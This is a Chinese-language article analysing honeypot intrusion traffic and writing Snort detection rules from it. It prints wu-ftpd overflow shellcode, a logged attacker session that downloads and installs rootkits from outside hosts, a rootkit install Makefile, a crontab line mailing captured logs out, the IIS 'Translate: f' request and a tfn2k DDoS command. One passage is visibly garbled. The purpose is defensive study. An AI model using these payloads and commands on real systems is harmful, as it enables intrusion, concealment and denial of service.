网络安全 频道

推荐:蜜罐进阶之Hit@me入侵分析

编者的话:不要觉得这篇文章很枯燥,事实上,学习的乐趣正在于此--弄明白了你以前所不明白的.
最近在翻阅PPTP的资料,偶然发现[URL=http://www.couterpane.com]www.couterpane.com[/URL]的pptp-faq写的非常有趣,其中的大概意思:“微软的PPTP协议很烂,其协议本身的六种[URL=http://www.heibai.net]漏洞[/URL]使得攻击行为能透过[URL=http://www.heibai.net]网络[/URL]嗅探密码,潜入加密通道,获得可信[URL=http://www.heibai.net]数据[/URL]并能对PPTP实施Dos攻击使其瘫痪。PPTP协议本身是非常安全,但是微软所实现的PPTP协议却是一堆垃圾。Bruce
Schneier和Mudge两个安全小组建议使用IPSec来代替微软的破烂货。”世界上最大的软件公司的安全产品存在这样幼稚的错误,那么置身于众多的安全产品中,我们是否真能感到安全所带来幸福?
 
于是我们有了测试的必要。架设自己的蜜罐系统,并在其中实现各种系统和相关产品的虚拟实现,使之模拟真实的[URL=http://www.heibai.net]网络[/URL][URL=http://www.heibai.net]服务[/URL]资源来诱捕各种攻击行为,这样的方式变成了我们解安全[URL=http://www.heibai.net]漏洞[/URL]、熟悉入侵手法和研究防御策略最好途径。因此,入侵[URL=http://www.heibai.net]数据[/URL]分析似乎时髦起来。
 
建立[URL=http://www2.3800cc.com/news/w44/mailto:Hit@me]Hit@me[/URL]①蜜罐半个月之久,在实验环境中对其进行各种攻击测试(由于诱布入侵行为是个时间过程,为了完成对入侵[URL=http://www.heibai.net]数据[/URL]的测试,我邀请了两个助手在实验环境下对蜜罐进行各种攻击实验),我搜集很多有趣的[URL=http://www.heibai.net]数据[/URL]资源。为了让分析过程有趣生动,我将以入侵不同操作系统来评析入侵的数字化行为。
 
 
 
Linux入侵数字化分析端口扫描数字化特征
 
在ACID的输出显示中,存在着大量"IDS441/scan_probe-Synscan-Portscan"的记录,并且其目标IP地址是指向模拟的Redhat7.1系统。从记录的字面含义,隐约能获得其记录大概是对系统发起的syn的TCP端口扫描。为了进行明确的了解其数字特征,捕获其中几个包记录:
 
5/13-17:54:10.623674 192.168.1.244:117 -> 192.168.1.250:117
TCP TTL:42 TOS:0x0 ID:39426
**SF**** Seq: 0x55A0EF7B   Ack: 0x40F9DC84   Win:
0x404
5/13-17:54:10.623674 192.168.1.244:118 -> 192.168.1.250:118
TCP TTL:42 TOS:0x0 ID:39426
**SF**** Seq: 0x6E42083A   Ack: 0x4F07A60B   Win:
0x404
分析TCP/IP包头,有这样一些有趣的现象:
 
1、IP header中Fragment Idnetification字段中的数值始终是39426
 
2、TCP的源端口号始终与目标地址的端口号一致
 
3、TCP的确认号中SYN和FIN始终置位
 
4、窗口尺寸始终为0x404
 
众所周知,在[URL=http://www.heibai.net]数据[/URL]包中置位SYN意味着往目标端口发送的SYN分组,如果接收到目标回馈的SYN/ACK,则推断该端口处于监听状态;如果接收到RST/ACK则端口没有开放。而FIN置位的包可以使目标系统对其关闭的端口反馈一个RST分组(具体可参阅RFC0793)。所有迹象表明:系统遭受了隐秘的半开扫描(half-open
scanning)。
 
结论:SYN - FIN 的数字特性发生于端口扫描事件中;并且这种扫描发包
ID号为39426,而另一个显著特征则是其窗口尺寸大小为0x404。于是当我检阅snort的入侵规则库时,其特征代码如下:
 
alert TCP $EXTERNAL any -> $INTERNAL any (msg:
"IDS441/scan_probe-Synscan-Portscan";id: 39426; flags: SF; classtype:
info-attempt; reference: arachnids,441
(注:通过对包结构分析,我们可以轻松定义自己的入侵检测特征添入snort的规则库中。)
FTP远程溢出数字特征
 
继续观测ACID提供的便利输出,我发现在对RH7.1的21端口记录的入侵检测是这样记录的:“IDS287/ftp_ftp-wuftp260-venglin-linux”。这让我想起在RH7.1中使用的wuftp的[URL=http://www.heibai.net]漏洞[/URL]是由于密码或者用户名过长可以产生远程溢出,并且我绝对相信Securityfocus给出了这个[URL=http://www.heibai.net]漏洞[/URL]的利用代码不止一个!
 
而对于这样的溢出攻击,我们需要捕获什么样的[URL=http://www.heibai.net]数据[/URL]才能获得入侵后的行为?很多平常的思维模式是:截获入侵者所输入的超长密码,当密码长度超过特定限制便触发入侵检测记录其行为。但是,这里存在一个问题,exploit的程序不只一个,溢出的密码串也形形色色,如何为其规定一个统一的数字特征呢?于是搜集溢出后[URL=http://www.heibai.net]服务[/URL]器回馈的信息代码成了我非常感兴趣的目标,而且这绝对是个妙极的主意!为证实我的想法并剖析其[URL=http://www.heibai.net]漏洞[/URL]利用原理,[URL=http://www.heibai.net]数据[/URL]截包如下:
 
05/14-01:25:38.420608 192.168.1.18:1968 -> 192.168.1.250:21
tcp TTL:64 TOS:0x10 ID:31579  DF
*****PA* Seq: 0x6BF2C954  Ack: 0xE69A711B   Win:
0x7FB8
TCP Options => NOP NOP TS: 58495044 3110955
50 41 53 53 20 90 90 90 90 90 90 90 90 90 90 90  PASS
...........
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
................
90 90 90 90 90 90 90 90 90 90 90 31 C0 31 DB 31  
...........1.1.1
C9 B0 46 CD 80 31 C0 31 DB 43 89 D9 41 B0 3F CD  
..F..1.1.C..A.?.
80 EB 6B 5E 31 C0 31 C9 8D 5E 01 88 46 04 66 B9  
..k^1.1..^..F.f.
FF FF 01 B0 27 CD 80 31 C0 8D 5E 01 B0 3D CD 80  
....'..1..^..=..
31 C0 31 DB 8D 5E 08 89 43 02 31 C9 FE C9 31 C0  
1.1..^..C.1...1.
8D 5E 08 B0 0C CD 80 FE C9 75 F3 31 C0 88 46 09  
.^.......u.1..F.
8D 5E 08 B0 3D CD 80 FE 0E B0 30 FE C8 88 46 04  
.^..=.....0...F.
31 C0 88 46 07 89 76 08 89 46 0C 89 F3 8D 4E 08  
1..F..v..F....N.
8D 56 0C B0 0B CD 80 31 C0 31 DB B0 01 CD 80 E8  
.V.....1.1......
90 FF FF FF FF FF FF 30 62 69 6E 30 73 68 31 2E  
.......0bin0sh1.
2E 31 31 0D
0A                                  
.11..
从截获的FTP登录[URL=http://www.heibai.net]数据[/URL]包,我们发现在密码验证的时候(即在PASS指令之后),输入超长的密码口令(发送适当的shellcode能成功溢出wu-ftpd,例如象wu-lnx.c类型的程序),如果成功溢出,[URL=http://www.heibai.net]服务[/URL]器回馈31c031db 31c9b046
cd80 31c031db的16进制信息(即上表中的1.1.1..F..1.1.的数字特征),随后获得远程系统root的/bin/sh。
 
由于[URL=http://www.heibai.net]服务[/URL]器溢出信息回馈无[URL=http://www.heibai.net]数据[/URL]偏移,即Dataoffset为零,由此我们得到了snort的又一入侵特征规则:
 
alert TCP $EXTERNAL any -> $INTERNAL 21 (msg:
"IDS287/ftp_ftp-wuftp260-venglin-linux"; flags: A+; content: "|31c031db 31c9b046
cd80 31c031db|"; classtype: system-attempt; reference: arachnids,287
全面入侵数字解析
 
入侵者通过端口扫描、[URL=http://www.heibai.net]漏洞[/URL]利用等方式获得了系统的控制权限,接下来他该做什么?许多电影情节中,非法闯入他人住宅,在不起眼的角落藏匿物件然后嫁祸于人的做法很司空见惯。于是把这种思维运用于Internet成了理所应当的现实!
 
通过[URL=http://www.heibai.net]数据[/URL]包的监测追踪,我发现入侵者运行许多非常有趣的命令,为了便于说明其手法,我从追捕的[URL=http://www.heibai.net]数据[/URL]包中整理了其精致的个性行为,并在必要命令旁加入注释:
#unset HISTFILE;id;uname -a;
uid=0(root) gid=0(root) groups=0(root), 1(bin), 2(daemon), 3(sys),
4(adm), 6(disk), 10(wheel)
Linux res 2.4.7-4 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
/*  入侵者取消HISTFILE环境变量,系统无法记录入侵者所使用的命令;
 
*   查看ID属性,确认成功溢出获得root权限;
 
*/  查看所控制的系统环境
 
 
 
#mkdir /var/tmp/…
#cd /var/tmp/…
#wget [URL=http://packetstormsecurity.org/U]http://packetstormsecurity.org/U[/URL] ...
its/lrk5.src.tar.gz      /*  
在/var/tmp建立一个隐含的“…”目录
 
*   试图利用wget从packetstormsecurity.org下载一个rootkit后门
 
*/  很佩服入侵者的记忆,能记住后门的准确URL地址并且大小写单词也非常准确,赞!
 
 
 
#ls –al /usr/bin/wget
ls: /usr/bin/wget: No such file or directory
#find / -name wget –print
/*  遗憾的是系统中没有安装wget,然而这使入侵过程变的更为有趣!
 
*/  这期间,入侵行为大约停滞了5、6分钟(估计他在考虑如何下载程序)。
 
 
 
#lynx –source
packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz \
>>lrk5.src.tar.gz
#tar lrk5.src.tar.gz
lrk5/bindshell.c
lrk5/chfn/chfn.c
lrk5/chfn/setpwnam.c
lrk5/chsh/chsh.c
lrk5/chsh/setpwnam.c
lrk5/fileutils-3.13/intl/bindtextdom.c
lrk5/fileutils-3.13/intl/dcgettext.c
lrk5/fileutils-3.13/intl/dgettext.c
lrk5/fileutils-3.13/intl/gettext.c
lrk5/fileutils-3.13/lib/strtoul.c
lrk5/fileutils-3.13/lib/Makefile
lrk5/fileutils-3.13/lib/group_member.c
lrk5/inetd/inetd.c
lrk5/inetd/daemon.c
lrk5/login/login.c
lrk5/login/checktty.c
lrk5/passwd/passwd.c
lrk5/passwd/islocal.c
lrk5/procps-1.01/
lrk5/procps-1.01/ps.c
lrk5/procps-1.01/psmisc/
lrk5/procps-1.01/psmisc/pstree.c
lrk5/procps-1.01/top.c
lrk5/procps-1.01/utmp.c
lrk5/rshd/rshd.c
lrk5/sysklogd-1.3/
lrk5/sysklogd-1.3/syslog.c
lrk5/sysklogd-1.3/syslogd.c
lrk5/ssh-2.0.13/
lrk5/ssh-2.0.13/mkinstalldirs
lrk5/ssh-2.0.13/INSTALL
lrk5/ssh-2.0.13/lib/
lrk5/sniffer/
lrk5/sniffer/ip.h
lrk5/sniffer/tcp.h
lrk5/sniffer/bpf.h
lrk5/sniffer/pcap.h
lrk5/sniffer/Makefile
lrk5/sniffer/libpcap-0.4.tar


lrk5/sniffer/thesniff.c
……
#make all install
/*  安装了一个庞大rootkit工具包,这里列出了包中的少量文件存放路径(真实
 
*   的解压因其长度占用篇幅太多,故作截选),从名字大体可以判断来示意此
 
*/  rootkit各种惊人功能,触目惊心的感觉!
 
 
 
 
 
 
  #cd ..
  #rm –rf lrk*
#lynx [URL=http://www.asiic.com/asiic/code/trojans/lrk4.src.tar.gz]www.asiic.com/asiic/code/trojans/lrk4.src.tar.gz[/URL]
>lrk4.src.tar.gz
  #tar zxvf lrk4.src.tar.gz
  #make all install
  #vi rootkit.h
  ~include
  #cd ..
  #rm –rf lrk
  /*  这一部分的操作看起来有点奇特,后来才知道由于lrk5编译失败后
 
*  攻击者下载了lrk4的rootkit,修改rootkit.h文件,并成功安装lrk
 
*/  后门程序
为了检查入侵者安装的lrk4,我在实验环境中下载并编译lrk4包。对比原系统文件,其系统命令大部分被替换,这种极度渗透对于经验丰富的[URL=http://www.heibai.net]网络[/URL]管理员将是一场噩梦!分析结构图如下(部分分析从源码文档翻译获得):
包目录结构:
bindshell   端口/SHELL的守护进程
chfn        
木马程序,当用户输入密码时,可获得root权限
chsh        
木马程序,在获得Shell使用的时候运行,可获得root权限
crontab     木马程序,隐藏时间记录
(注:比如,定期运行隐藏目录…中的backdoor程序,可以使用
blackhat 20,*,*,*,*  /var/tmp/…/backdoor >/dev/null
2>&1
)
du          木马程序,隐藏文件。
find        木马程序,隐藏文件。
fix         替代和修改文件的时期戳和校验和
ifconfig    在sniff进行窃听的时候,使其promise状态不可见
inetd       提供无须验证的远程访问[URL=http://www.heibai.net]服务[/URL]。
killall     不杀隐含的进程中含有linsniff和hack字端的进程
linsniffer  包嗅探器
login       可以使用rootkit提供的密码登录任意[URL=http://www.heibai.net]帐号[/URL]。假如使用root登录被拒绝,可以使用”rewt”登录。当登录成功后,关闭历史日志记录。
ls          
隐藏文件和目录。假如定义rootkit.h的SHOWFLAG,可以使用ls
-/查看所有文件。只要文件名或者目录名为”ptyr”、”hack.dir”、”w4r3z”就被[URL=http://www.heibai.net]自动[/URL]隐藏。我们也可通过/dev/ptyr增加隐藏文件名的定义。
netstat     修改或者隐藏TCP/UDP连接的端口、套接字、IP地址或uid等连接参数。
           
/dev/ptyq中定义了隐藏类型:
            type
0: 隐藏uid号
            type
1: 隐藏本地地址
            type
2: 隐藏远程地址
            type
3: 隐藏本地端口
            type
4: 隐藏远程端口
            type
5: 隐藏UNIX套接字路径
           
#######实 例########
            0
500      

    if [ -x /bin/ps ] && [ -x procps-1.01/ps ];
then ./fix /bin/ps procps-1.01/ps; fi
    if [ -x /usr/bin/top ] && [ -x procps-1.01/top
]; then ./fix /usr/bin/top procps-1.01/top; fi
    if [ -x /usr/sbin/in.rshd ] && [ -x rshd/rshd
]; then ./fix /usr/sbin/in.rshd rshd/rshd; fi
    if [ -x /bin/netstat ] && [ -x
net-tools-1.32-alpha/netstat ]; then ./fix /bin/netstat
net-tools-1.32-alpha/netstat; fi
    if [ -x /sbin/ifconfig ] && [ -x
net-tools-1.32-alpha/ifconfig ]; then ./fix /sbin/ifconfig
net-tools-1.32-alpha/ifconfig; fi
    if [ -x /usr/sbin/syslogd ] && [ -x
sysklogd-1.3/syslogd ]; then ./fix /usr/sbin/syslogd sysklogd-1.3/syslogd;
fi
    if [ -x /usr/sbin/inetd ] && [ -x inetd/inetd
]; then ./fix /usr/sbin/inetd inetd/inetd; fi
    if [ -x /usr/sbin/tcpd ] && [ -x tcpd_7.4/tcpd
]; then ./fix /usr/sbin/tcpd tcpd_7.4/tcpd; fi
    if [ -x /usr/bin/killall ] && [ -x
psmisc/killall ]; then ./fix /usr/bin/killall psmisc/killall; fi
    if [ -x /bin/killall ] && [ -x psmisc/killall
]; then ./fix /bin/killall psmisc/killall; fi
    if [ -x /usr/bin/pidof ] && [ -x
psmisc/killall ] && [ -x /bin/killall ]; then ln -sf /bin/killall
psmisc/pidof; fi
    if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ]
&& [ -x /usr/bin/killall ]; then ln -sf /usr/bin/killall psmisc/pidof;
fi
    if [ -x /usr/bin/pidof ] && [ -x
psmisc/killall ] && [ -x /usr/bin/killall ]; then ./fix /usr/bin/pidof
psmisc/pidof; fi
    if [ -x /sbin/pidof ] && [ -x psmisc/killall ]
&& [ -x /usr/bin/killall ]; then ./fix /sbin/pidof psmisc/pidof; fi
    if [ -x /usr/bin/find ] && [ -x
findutils/find/find ]; then ./fix /usr/bin/find findutils/find/find; fi
       
clean:
    rm -f fix z2 wted linsniffer bindshell bin/*
    for i in $(SUB); do make -C  $$i clean; done
    for i in $(SHADOWSUB); do make -C  $$i clean;
done
       
small:
    for i in $(SUB); do strip $$i/*; done
    for i in $(SHADOWSUB); do strip $$i/*; done
    for i in $(SUB); do rm $$i/*.o; done
    for i in $(SHADOWSUB); do rm $$i/*.o; done
 
 
从代码分析中可以看出,rootkit的安装其实是个很有条理的入侵过程。首先把编译好的二进制文件放如bin目录中;利用if语句比较原系统文件和木马程序,并把系统文件的属性值赋予这些木马程序,使其看起来和正常的命令文件并无二致;最后,扫除编译时候所残留的工具。
这里顺便提到一点额外的知识,关于木马(trojan)的具体含义,许多专业bbs站点都有自己神话色彩的解释,于是混乱的解释干扰我们对木马的偏见认识,这里我给出RFC1244对其真实而朴质的描述:
“特洛伊木马是一种程序,它做某些有用的事情或者纯粹是一些有趣的事情。它总是做一些出人意料的事情。比如盗窃密码或者在没有你的认可下拷贝文件等。”
 
不管安装木马的作法会遭受Whitehat如何谴责,我们仍旧相信这种入侵的兴盛不衰正是强烈的控制欲诱惑让入侵者感到刺激和兴奋。
 
分析完毕rootkit的供效后,我们继续分析入侵者的剩余行为,发现了更为有趣的记录:
#mkdir /dev/ptyr
#cd /var/tmp/…
#lynx –source packetstormsecurity.nl/crypt/ssh/old/ssh-1.2.27.tar.gz
>ssh-1.2.27.tar.gz
#lynx –source packetstormsecurity.nl/UNIX/penetration/rootkits/rkssh5.tar.gz
\
>> rkssh5.tar.gz
#tar zxvf ssh-1.2.27.tar.gz
#tar zxvf rkssh5.tar.gz
#cp rkssh5/rk-ssh.diff ssh-1.2.27
#patch -p1  /dev/ptyr/tcp.log &
#crontab –e
* 1 * * * /sbin/sendmail [URL=http://www2.3800cc.com/news/w44/mailto:vincenttp97@hotmail.com]vincenttp97@hotmail.com[/URL]  192.168.1.252:80
TCP TTL:53 TOS:0x0 ID:31083  DF
*****PA* Seq: 0x90F90192   Ack: 0x251D6AF2   Win:
0x2238
TCP Options => NOP NOP TS: 3060457 0
47 45 54 20 2F 70 61 67 65 73 2F 63 6F 6E 74 61  GET /pages/conta
63 74 2E 61 73 70 5C 20 48 54 54 50 2F 31 2E 30  ct.asp\ HTTP/1.0
0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 6C 69  ..User-Agent: li
62 77 77 77 2D 70 65 72 6C 2F 35 2E 34 35 0D 0A  bwww-perl/5.45..
43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 74 65  Content-Type: te
78 74 2F 68 74 6D 6C 0D 0A 54 72 61 6E 73 6C 61  xt/html..Transla
74 65 3A 20 66 0D 0A 58 2D 46 6F 72 77 61 72 64  te: f..X-Forward
65 64 2D 46 6F 72 3A 20 32 30 39 2E 31 38 37 2E  ed-For: 103.164.
31 34 30 2E 31 39 32 0D 0A 48 6F 73 74 3A 20 77  002.134..Host: w
77 77 2E 65 78 74 72 65 6D 65 6C 6F 67 69 63 2E  ww.aaaaaaaaaaaa.
63 6F 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E  com..Content-Len
67 74 68 3A 20 31 38 0D 0A 56 69 61 3A 20 31 2E  gth: 18..Via: 1.
31 20 6E 65 74 63 61 63 68 65 30 31 2E 67 77 2E  1 netcache01.aa.
74 6F 74 61 6C 2D 77 65 62 2E 6E 65 74 20 28 4E  aaaaaaaaa.net (N
65 74 43 61 63 68 65 20 34 2E 30 52 34 44 31 31  etCache 4.0R4D11
29 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B  )..Connection: K
65 65 70 2D 41 6C 69 76 65 0D 0A 0D
0A           eep-Alive....
 
 
微软IIS5.0有一个专用搜索用于检索ASP、ASA和HTR等文件。这个引擎处理这些类型文件的请求并相应的处理它们,并在[URL=http://www.heibai.net]服务[/URL]器执行它们。当在HTTP
get请求语句中包括带有”Translate: f”的请求头文件,那么[URL=http://www.heibai.net]服务[/URL]器会把对这些文件请求以源代码的形式发送给客户,从而造成网站密码泄露事件。
从此[URL=http://www.heibai.net]数据[/URL]包中,我们可以明确的看出HTTP请求的试探语法:”Translate:
f”的字符串。根据上述的分析经验,我们能很快确定其入侵规则检查语法:
alert TCP $EXTERNAL any -> $INTERNAL 80 (msg:
"IDS305/web-iis_http-iis_translate_f"; flags: A+; content: "|4 72 61 6E 73 6C 61
74 65 3A 20 66 |"; nocase; classtype: info-attempt; reference: arachnids,305
 
注意:熟练掌握入侵规则的编写方法便利于[URL=http://www.heibai.net]网络[/URL]管理员能灵活的增加各种入侵检测条件,日益完善入侵检测的规则机制,从而建立更加优秀的蜜罐系统。
 
 
 
通过对windows两个有趣实例的测试,我们结束了整个入侵[URL=http://www.heibai.net]数据[/URL]分析测试。虽然对windows我没有展开去分析,但是相信其整体的分析方法同上面的许多[URL=http://www.heibai.net]数据[/URL]分析是一致的思路,因此举一反三,我们能自如的运用这种手段来分析解决这些暗藏的数字行为。
Tribe FloodNet 2k(tfn2k)的Dos测试
最后,我分析蜜罐的中发生DDos攻击时,tfn2k主机之间的协同作战的[URL=http://www.heibai.net]数据[/URL]联系。在实验环境中使用了2套Redhat7.2,安装了td,并在蜜罐中使用tfn控制两台机器进行协同作战(关于tfn2k的安装及其使用可以参考tfn2k.tgz的README文档,这里不做赘述)。使用“./tfn -f hosts.txt -c 6 -i 192.168.1.235”的ICMP攻击,大约20多分钟,系统已经处于瘫痪状态。
 
[URL=http://www.heibai.net]数据[/URL]包跟踪截断如下:
5/15-00:03:33.277786 192.168.1.235 -> 192.168.1.250
ICMP TTL:246 TOS:0x0 ID:21972
ID:0   Seq:4830  ECHO REPLY
72 79 61 46 54 63 38 48 65 6D 65 75 50 39 53 32  
ryaFTc8HemeuP9S2


6E 45 66 35 69 51 41 41 41 41 41 41 41 41 41 41  nEf5iQAAAAAAAAAA
41 41 41 41 41 41 41
41                          
AAAAAAAA
 
开始分析这个截流包的时候,我疑惑了很长一段时间,因为“ryaFTc8HemeuP9S2
nEf5iQ”这样的字符串并不代表具体含义,这里让我想到的是:在tfn2k主机之间的通讯是加密的。但在监测这种加密通讯时,我却发现每次加密字串是无规律的。后来,在仔细查看了tnf2k的文档才发现作者使用CAST-256
加密算法对通讯字串加密之后在使用base64进行解码,当td[URL=http://www.heibai.net]服务[/URL]器[URL=http://www.heibai.net]自动[/URL]对字串解密,实现协同作战之间的单项联系。
那么,我们如何得到这种攻击行为的特征代码呢?经过对包的ip头和icmp头进行分析,可以发现这样一个固定的数字行为: ICMP类型
ICMP ID号
0(icmp echo reply)
0
即:ICMP包为icmp echo replay类型,且其ID永远为0;当然,仅靠这些数字特征并不能表示[URL=http://www.heibai.net]网络[/URL]安装了tfn2k的[URL=http://www.heibai.net]服务[/URL],应该注意到,在加密字串后面有一串连续的“AAAAAAAA”,根据作者声称,这些字符是用于填充作用的。现在我们能很快写出其入侵特征规则:
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp
possible communication"; itype: 0; icmp_id: 0; content: "AAAAAAAAAA";
reference:arachnids,425; classtype:attempted-dos; sid:222; rev:1
 
   
对TNF2K分析完毕,我们获得分布式拒绝攻击的数字协作特征的许多有趣资料。这对于我们分析更多的攻击方式将是非常便利的手段!
小结
    利用蜜罐[URL=http://www.heibai.net]技术[/URL]来模拟真实的[URL=http://www.heibai.net]网络[/URL][URL=http://www.heibai.net]服务[/URL]资源环境,这大大方便我们研究[URL=http://www.heibai.net]网络[/URL]安全结构、修补复杂[URL=http://www.heibai.net]网络[/URL]环境中存在的各种弊病,同时实现对操作系统、安全产品的测试和质量评判。当然,[URL=http://www2.3800cc.com/news/w44/mailto:Hit@me]Hit@me[/URL]结构的蜜罐也存在着一些缺陷,比如,当入侵者使用隐秘的SSH登录,则无法监测其行为特性;在实现虚拟系统中如何引诱攻击行为;庞大的[URL=http://www.heibai.net]数据[/URL]资源如何快速加工整理等若干问题。我希望大家能和我一起讨论并解决这些存在的困难。蜜罐在安全问题日益严重的今天,越来越体现了它无比优越的实用性。
 
参考资料
1、  [URL=http://www.snort.org]www.snort.org[/URL]
2、  [URL=http://www.whitehouse.com]www.whitehouse.com[/URL]
3、  cve.mitre.org
4、  [URL=http://www.sans.org]www.sans.org[/URL]
5、  《最高安全机密》 3RD,机械工业出版社
6、《[URL=http://www.heibai.net]黑客[/URL]大暴光
3RD》,机械工业出版社
0